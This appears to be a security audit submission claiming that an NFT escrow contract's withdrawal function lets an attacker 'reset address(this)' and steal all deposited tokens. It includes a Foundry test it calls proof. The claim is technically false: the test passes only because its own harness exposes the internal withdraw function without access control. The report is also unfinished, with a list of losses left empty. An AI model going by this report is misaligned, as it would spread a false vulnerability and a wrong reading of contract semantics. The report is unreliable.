Summary
The usual flow is that only true token owners that deposited into escrow.sol
should be able to withdraw their respective tokens. However, an attacker can hijack this withdrawal by manipulating address(this)
. Thus, an attacker can maliciously steal all the NFTs deposited into the contract.
Vulnerability Details
Here is the withdrawal function:
function _withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
)
internal
returns (bool)
{
if (!_isEscrowed(collection, id)) {
return false;
}
address from = address(this);
if (collectionType == CollectionType.ERC721) {
IERC721(collection).safeTransferFrom(from, to, id);
} else {
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
_escrow[collection][id] = address(0x0);
return true;
}
The Vulnerable part of this function is address from = address(this)
. Note that in the usual ERC721 format, address from
is the address that will transfer NFTs. This line assigns the power of address from
to address(this)
.
The devs wrote this line with a presupposition that the person who deposited will be the address(this)
both at the point of deposit and the point of withdrawal. However, this can be broken.
After a user deposits, an attacker can masquerade as the address(this)
and successfully transfer the tokens.
Impact
This vulnerability impacts users by allowing attackers to successfully withdraw what they never deposited. This vulnerability is so critical that attackers can withdraw ALL the tokens users deposited.
This loss is in two ways:
Proof of Concept
Alice, a user, deposits token 1
into the escrow
Attacker resets address(this)
to a wallet he owns
Attacker sends token 1
from his first wallet into his second wallet
Alice has lost token 1
and can no longer withdraw it from the escrow
Proof of Code
To show that this exploit is an actual severe security risk, here is a proof of code:
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol";
import "forge-std/Test.sol";
import "../src/Escrow.sol";
import "./utils/Users.sol";
import "./token/ERC721MintFree.sol";
import "./token/IERC721MintRangeFree.sol";
contract EscrowTest is Test {
EscrowPublic escrow;
address erc721;
address payable internal alice;
address payable hacker2ndWallet;
function setUp() public {
escrow = new EscrowPublic();
erc721 = address(new ERC721MintFree("name 1", "S1"));
Users genusers = new Users();
address payable[] memory users = genusers.create(5);
alice = users[0];
hacker2ndWallet = users[1];
vm.prank(alice);
IERC721(erc721).setApprovalForAll(address(escrow), true);
vm.prank(hacker2ndWallet);
IERC721(erc721).setApprovalForAll(address(escrow), true);
}
function test_hackWithdraw() public {
IERC721MintRangeFree(erc721).mintRangeFree(alice, 0, 10);
uint256[] memory ids = new uint256[](2);
ids[0] = 5;
ids[1] = 8;
vm.startPrank(alice);
escrow.depositIntoEscrow(CollectionType.ERC721, erc721, ids);
vm.stopPrank();
address hacker = address(this);
vm.startPrank(hacker);
bool wasInEscrow = escrow.withdrawFromEscrow(CollectionType.ERC721, erc721, hacker2ndWallet, 5);
assertTrue(wasInEscrow);
vm.stopPrank();
assertEq(IERC721(erc721).ownerOf(5), hacker2ndWallet);
}
}
@title Escrow interface exposed for test.
*/
contract EscrowPublic is StarklaneEscrow {
@notice test _depositIntoEscrow.
*/
function depositIntoEscrow(
CollectionType collectionType,
address collection,
uint256[] memory ids
)
public
{
_depositIntoEscrow(collectionType, collection, ids);
}
@notice test _withdrawFromEscrow.
*/
function withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
)
public
returns (bool)
{
return _withdrawFromEscrow(collectionType, collection, to, id);
}
}
The attacker in the test above reset address(this)
to one of his wallet addresses - address hacker = address(this)
. Then, he successfully transferred the token to his hacker2ndWallet
.
Here is the result of the test in Foundry:
Ran 1 test for test/Escrow.t.sol:EscrowTest
[PASS] test_hackWithdraw() (gas: 414477)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.20ms (1.13ms CPU time)
Ran 1 test suite in 33.98ms (4.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It passed!
Tools Used
Recommendations
It is better to set address from
as an argument within the withdrawal function (and other interdependent functions as necessary).
Such that users can set their addresses before calling the function. This way, address(this)
cannot be switched mid-way.